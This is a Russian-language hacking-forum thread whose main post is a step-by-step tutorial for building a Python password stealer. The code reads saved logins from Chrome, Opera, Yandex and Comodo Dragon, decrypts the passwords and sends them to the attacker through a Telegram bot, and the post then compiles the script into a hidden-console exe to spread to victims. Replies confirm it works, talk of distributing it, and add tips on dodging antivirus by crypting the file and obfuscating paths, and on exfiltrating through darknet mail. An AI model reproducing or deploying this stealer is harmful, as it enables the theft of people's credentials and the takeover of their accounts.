• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Авторская статья Пишем свой стиллер на Python

CypherZ

Местный
Сообщения
176
Реакции
182
0 руб.
Telegram
Jabber

Bakinets

Местный
Сообщения
62
Реакции
101
0 руб.
Всё работает! Логи приходят.
ТС красавчик, объяснил всё, разжевал по полочкам. За что ему очень благодарен.
Пойду распространять)))))​
 

Crypto.Nik

Участник
Сообщения
105
Реакции
33
0 руб.
Конкурс статей от VLMI
Привет. Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из своей прошлой статьи, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)
Словарик с терминами,которые я буду использовать, можно найти по ссылке -
ТЫК
Комментарии будут отмечены решеточкой - #
Установка Python
Переходим на официальный сайт PythonА - ТЫК. Скачиваем 3+ версию и устанавливаем ее.
Посмотреть вложение 11577 Посмотреть вложение 11578 Посмотреть вложение 11579
Суть работы стиллера
Программа проверит наличие папок от указанных браузеров, при наличии - подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)
Создадим своего бота
Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Код:
/start
/newbot
После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.
Код:
https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
"chat":{"id":вашid #найти chatid в информации

Посмотреть вложение 11544

С ботом мы разобрались, идем дальше.

Начинаем кодить
Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.

Код:
pip install --upgrade pip
После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot

Код:
pip install pyTelegramBotAPI
pip install pywin32
pip install telebot
______________________________________________________________________________________
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.
Код:
from os import getlogin #из библиотеки os мы импортируем функцию getlogin
#данная библиотека поможет нам получить имя пользователя компьютера
import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных
import win32crypt #импортируем библиотеку win32crypt
#эта библиотека поможет расшифровать пароли из базы данных
import telebot #импортируем библиотеку telebot
#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.
_______________________________________________________________________________
Теперь нам нужно задать переменные, которые мы будет использовать.

Код:
t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
i=0 #переменная счетчик
name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.
_______________________________________________________________________________
Дальше мы должны создать переменные,списки с директориями возможных браузеров.
Код:
op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir

Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium

При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________
Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.
Код:
b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
#b0t - имя бота,которого мы создали в начале
#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
    try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
        br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
        connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
        curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
        curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
         for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
             d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
             b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
             b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
    except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
        b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке

Теперь я попытаюсь объяснить суть вышеописанного кода на "простом" примере)

Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому[i] элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому[i] элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля[i] до длины списка с директориями.
Компилируем в exe
Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe
Код:
pip install pyinstaller
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Код:
CD C:\compile
pyinstaller -i i.ico -F -w stealer.py
#В терминала переходим в папку C:\compile
#вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile
После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо
viruschekmate,ScanMyBin - сдохли,nodstribute+virustotal - сливают данные(не суйте туда стиллер)), поэтому информация про "чистоту" остается для вас и для меня интригой)
Исходник и заключение
Исходники вы можете скачать по ссылке - ТЫК
Посмотреть вложение 11580 Так приходят логи, пароль находится между символом b' и '

Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода. Надеюсь вам все было понятно, пытался писать как можно проще. Если будет интересно, могу объяснить как добавить фейк ошибку при запуске стиллера)
Если вам что-то не понравилось, или есть идеи по улучшению - прошу сообщить об этом :-)
P.S.
Словарик дополню новыми терминами

Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала
доброго времени суток!!!! тут назрел такой вопрос по поводу стиллеров воообще. а если человек использует браузер портативную версию и папка лежит х*й знает где
куки то лежат в папке профайл если я не ошибаюсь. а сама памка может где угодно лежать. тогда вопрос как прописать чтоб стилер искал есть ли портативки браузера или нет так как многие даже не пользуются браузером по умалчанию и т.д а используют портативную версию и прячут папку. ЧТО СКАЖЕТЕ?
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
доброго времени суток!!!! тут назрел такой вопрос по поводу стиллеров воообще. а если человек использует браузер портативную версию и папка лежит х*й знает где
куки то лежат в папке профайл если я не ошибаюсь. а сама памка может где угодно лежать. тогда вопрос как прописать чтоб стилер искал есть ли портативки браузера или нет так как многие даже не пользуются браузером по умалчанию и т.д а используют портативную версию и прячут папку. ЧТО СКАЖЕТЕ?
Здесь шансов почти нет,ибо пользователь портабельную версию может хранить в любой папке,на любом диске.
И единственное, что мне приходит в голову, это поиск по всем дискам файла "Login Data"
 
Последнее редактирование:

Kirikaru

Участник
Сообщения
33
Реакции
22
0 руб.
Telegram
Здесь шансов почти нет,ибо пользователь портабельную версию может хранить в любой папке,на любом диске.
И единственное, что мне приходит в голову, это поиск по всем дискам файла "Login Data"
Можно же процессы опрашивать,а не по всему диску шарить
 

zHd4

Местный
Сообщения
107
Реакции
82
0 руб.
Telegram
Телеграмм это конечно хорошо, но отправка логов через какой-нибудь почтовый сервис из даркнета (например: mail2tor) была бы кстати.
Можно сделать отправку через почту резервной.
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Енот разлогинься
Енот - это не я)
Просто мой язык - это Python, конкурс по вирусологии. Учить с++/c# не время)
А на питоне тоже можно написать некую малварь, что я и сделал.
С таким же успехом, всех c++ кодеров, можно называть одним именем)
 

Kirikaru

Участник
Сообщения
33
Реакции
22
0 руб.
Telegram
Кстати,если телеграмм заблочен,то ничего не отправляется,стоит подрубить VPN/кинуть туннель логи снова отправляются.
 
  • Мне нравится
Реакции: zHd4

Kirikaru

Участник
Сообщения
33
Реакции
22
0 руб.
Telegram
Хочу ещё несколько замечаний сделать,в исходнике указаны прямые пути,это не есть хорошо,лучше использовать переменные среды
На примере хрома

def chromepath():
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
exit(0)
return PathName

Скомпиленный файл весит почти 7 метров,хотя там всего 34 строчки кода и импортированные библиотеки,для таких целей питон хреново подходит,ибо он интерпретатор тащит за собой из за этого и получается почти 7 метров. Если ещё закриптовать эти 7 метров,то логов по 1 сообщению можно до пенсии ждать.
 

neCARROTkiy

Участник
Сообщения
28
Реакции
48
0 руб.
Jabber
Если ещё закриптовать эти 7 метров,то логов по 1 сообщению можно до пенсии ждать.
Закриптовать что? Там стаб который распаковывает это все и запускает скрипт - маленький.
 

Kirikaru

Участник
Сообщения
33
Реакции
22
0 руб.
Telegram
Закриптовать что? Там стаб который распаковывает это все и запускает скрипт - маленький.
Закриптовать чтобы Касперский не ругался,например.
Кстати,по поводу отправки логов на почту,в чистом виде слать не вариант,но можно слать в шифрованном виде,можно даже с солью.
 
  • Мне нравится
Реакции: zHd4

zHd4

Местный
Сообщения
107
Реакции
82
0 руб.
Telegram
Хочу ещё несколько замечаний сделать,в исходнике указаны прямые пути,это не есть хорошо,лучше использовать переменные среды
На примере хрома

def chromepath():
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
exit(0)
return PathName

Скомпиленный файл весит почти 7 метров,хотя там всего 34 строчки кода и импортированные библиотеки,для таких целей питон хреново подходит,ибо он интерпретатор тащит за собой из за этого и получается почти 7 метров. Если ещё закриптовать эти 7 метров,то логов по 1 сообщению можно до пенсии ждать.
Cами пути можно было-бы зашифровать с помощью base64. Это снизит детекты и усложнит разбор файла через hex редактор.
 

neCARROTkiy

Участник
Сообщения
28
Реакции
48
0 руб.
Jabber
Cами пути можно было-бы зашифровать с помощью base64. Это снизит детекты и усложнит разбор файла через hex редактор.
Это только МОЛЛИ может через хексредактор разбирать ) А нормальные люди используют декомпилятор и получают исходники скрипта. Защита питоновских скриптов от реверса непростая задача и пока нет готовых решений для этого, нужно пилить свой велосипед. И поэтому енота так легко повязали )
 

Alexuiop1337

Новичок
Сообщения
0
Реакции
51
0 руб.
Telegram
Почему бы просто не скопировать файл и не мучиться с запущенным браузером.
В питоне не шарю, но вот, что нашел по первому запросу гугл:
Код:
from shutil import copyfile

copyfile(src, dst) // src - путь до Login Data; dst - путь до временной директории хранения файла (типо %temp%\\ld.temp)
 

neCARROTkiy

Участник
Сообщения
28
Реакции
48
0 руб.
Jabber
MUMln-F2d10.jpg
Ты точно нагуглил что-то не то )
 

CypherZ

Местный
Сообщения
176
Реакции
182
0 руб.
Telegram
Jabber
Проверь правильность написанного пути или сделай все еще раз по новой
Или просто убейся об стенку ибо питон это не твое и твоя бренная жизнь лишь пепел от сигареты которую курит иисус
 
Сверху Снизу